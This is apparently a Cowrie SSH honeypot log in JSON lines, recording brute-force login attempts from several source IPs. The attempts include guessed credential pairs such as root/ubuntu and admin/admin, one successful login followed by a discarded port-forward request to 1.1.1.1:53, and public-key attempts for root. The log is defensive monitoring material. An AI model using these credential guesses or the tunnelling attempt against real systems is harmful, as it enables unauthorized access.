{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56860,"dst_ip":"10.17.0.5","dst_port":22,"session":"228ceabc68c6","protocol":"ssh","message":"New connection: 109.237.96.109:56860 (10.17.0.5:22) [session: 228ceabc68c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:57:05.595159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:57:05.599272Z","src_ip":"109.237.96.109","session":"228ceabc68c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:57:05.692500Z","src_ip":"109.237.96.109","session":"228ceabc68c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karimova","message":"login attempt [root/karimova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:57:05.979437Z","src_ip":"109.237.96.109","session":"228ceabc68c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:57:07.098087Z","src_ip":"109.237.96.109","session":"228ceabc68c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"115.3","message":"Connection lost after 115.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:57:28.322464Z","src_ip":"45.79.207.110","session":"a9989957122c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51184,"dst_ip":"10.17.0.5","dst_port":22,"session":"85010f98c99b","protocol":"ssh","message":"New connection: 80.94.92.184:51184 (10.17.0.5:22) [session: 85010f98c99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:58:33.165682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:58:33.243899Z","src_ip":"80.94.92.184","session":"85010f98c99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:58:33.405092Z","src_ip":"80.94.92.184","session":"85010f98c99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:58:34.737233Z","src_ip":"80.94.92.184","session":"85010f98c99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:58:37.728451Z","src_ip":"80.94.92.184","session":"85010f98c99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21688,"dst_ip":"10.17.0.5","dst_port":22,"session":"610066f80ca1","protocol":"ssh","message":"New connection: 87.251.64.176:21688 (10.17.0.5:22) [session: 610066f80ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:15.708884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:15.713116Z","src_ip":"87.251.64.176","session":"610066f80ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:15.808116Z","src_ip":"87.251.64.176","session":"610066f80ca1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:16.093881Z","src_ip":"87.251.64.176","session":"610066f80ca1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:16.194386Z","session":"610066f80ca1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:16.293020Z","src_ip":"87.251.64.176","session":"610066f80ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:16.388752Z","src_ip":"87.251.64.176","session":"610066f80ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45154,"dst_ip":"159.203.135.109","dst_port":22,"session":"8de68c1770c2","protocol":"ssh","message":"New connection: 103.27.238.116:45154 (159.203.135.109:22) [session: 8de68c1770c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:26.490088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:26.494053Z","src_ip":"103.27.238.116","session":"8de68c1770c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:26.757678Z","src_ip":"103.27.238.116","session":"8de68c1770c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfitymrf","message":"login attempt [root/gfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:27.550761Z","src_ip":"103.27.238.116","session":"8de68c1770c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:28.816851Z","src_ip":"103.27.238.116","session":"8de68c1770c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.124.176","src_port":40886,"dst_ip":"10.17.0.5","dst_port":22,"session":"f74c17901fea","protocol":"ssh","message":"New connection: 120.48.124.176:40886 (10.17.0.5:22) [session: f74c17901fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:47.613502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:47.617870Z","src_ip":"120.48.124.176","session":"f74c17901fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:47.846563Z","src_ip":"120.48.124.176","session":"f74c17901fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:48.519117Z","src_ip":"120.48.124.176","session":"f74c17901fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:49.745584Z","src_ip":"120.48.124.176","session":"f74c17901fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.124.176","src_port":43882,"dst_ip":"10.17.0.5","dst_port":22,"session":"0803635f5d2d","protocol":"ssh","message":"New connection: 120.48.124.176:43882 (10.17.0.5:22) [session: 0803635f5d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:57.117105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:57.120996Z","src_ip":"120.48.124.176","session":"0803635f5d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:58.015363Z","src_ip":"120.48.124.176","session":"0803635f5d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:58.693082Z","src_ip":"120.48.124.176","session":"0803635f5d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:59:59.921361Z","src_ip":"120.48.124.176","session":"0803635f5d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":28354,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a911d6304c7","protocol":"ssh","message":"New connection: 194.120.230.72:28354 (10.17.0.5:22) [session: 2a911d6304c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:02.449743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:02.453985Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:02.542198Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:6e:54:8e:68:10:47:17:10:5a:28:27:d5:35:58:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA67MLCFfAdSNtvrKq3IfnB0c/XvVJqgBkB3t5bg2M9GSPaOKgc7szG6M/4bx1YB+fXibA2T6ZAgYQ9AcC34Pf6JnHamf3zfvUFnVQ67cUjo0EvuQDGtnqgTDqj1eLuZ1jKFGXSA9RRYQekNC5EfoZ74xzGPsKnN5cvJAUXDwRGWrk1JOmBxKxEWjVRb2FcdqwSvmkb0B+hb3Y0BZAj4vWyQEDIFOCOC3h6/7nzUZv4JDLmOzf2DgVymKPbtPRXKjqQ2oPWqVx1wt28kcbLJ96/K3k/g/cchuhVwCxssTSlBZ1iuvCCCzc/mhr5Pn9IEHKPt9iUzIDzZu1gTbgAikUhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:6e:54:8e:68:10:47:17:10:5a:28:27:d5:35:58:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:02.961394Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:6e:54:8e:68:10:47:17:10:5a:28:27:d5:35:58:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA67MLCFfAdSNtvrKq3IfnB0c/XvVJqgBkB3t5bg2M9GSPaOKgc7szG6M/4bx1YB+fXibA2T6ZAgYQ9AcC34Pf6JnHamf3zfvUFnVQ67cUjo0EvuQDGtnqgTDqj1eLuZ1jKFGXSA9RRYQekNC5EfoZ74xzGPsKnN5cvJAUXDwRGWrk1JOmBxKxEWjVRb2FcdqwSvmkb0B+hb3Y0BZAj4vWyQEDIFOCOC3h6/7nzUZv4JDLmOzf2DgVymKPbtPRXKjqQ2oPWqVx1wt28kcbLJ96/K3k/g/cchuhVwCxssTSlBZ1iuvCCCzc/mhr5Pn9IEHKPt9iUzIDzZu1gTbgAikUhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:02.965066Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:28:8e:6e:83:49:d3:fb:fd:32:5b:65:39:38:ab:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFTva3v2i5srfzX4s/4oSJHDDxEE3RBDvxGfThLz9B5GzTF5rbK/9U/gqGvM2kCTWv1HH1uRTjc7rmyVVLscwESKvI0ZY2/cssPEnwVyxJN77OQcyv2hUuzrhMamFewYLY4pJGU7bOuj08/C2jG850ykC5Fswgdranl3NZnvm/2e1j4h3V9zJRKxda6yljj7r4s3gC2BP5vm2/pEHpLxwlds7oPz0CFLjQDsu1bsKudoVIkwbzehWBdaMeYaStCgle6VyfXB4a7Mz150B4ftTndZHOZX9B5hnvz7dxGabPlMCKEgP67GUrdqYFqxI321PLiZbkaflkXIPlV6G3PiST","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:28:8e:6e:83:49:d3:fb:fd:32:5b:65:39:38:ab:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:00:03.052710Z","src_ip":"194.120.230.72","session":"2a911d6304c7","protocol":"ssh"}
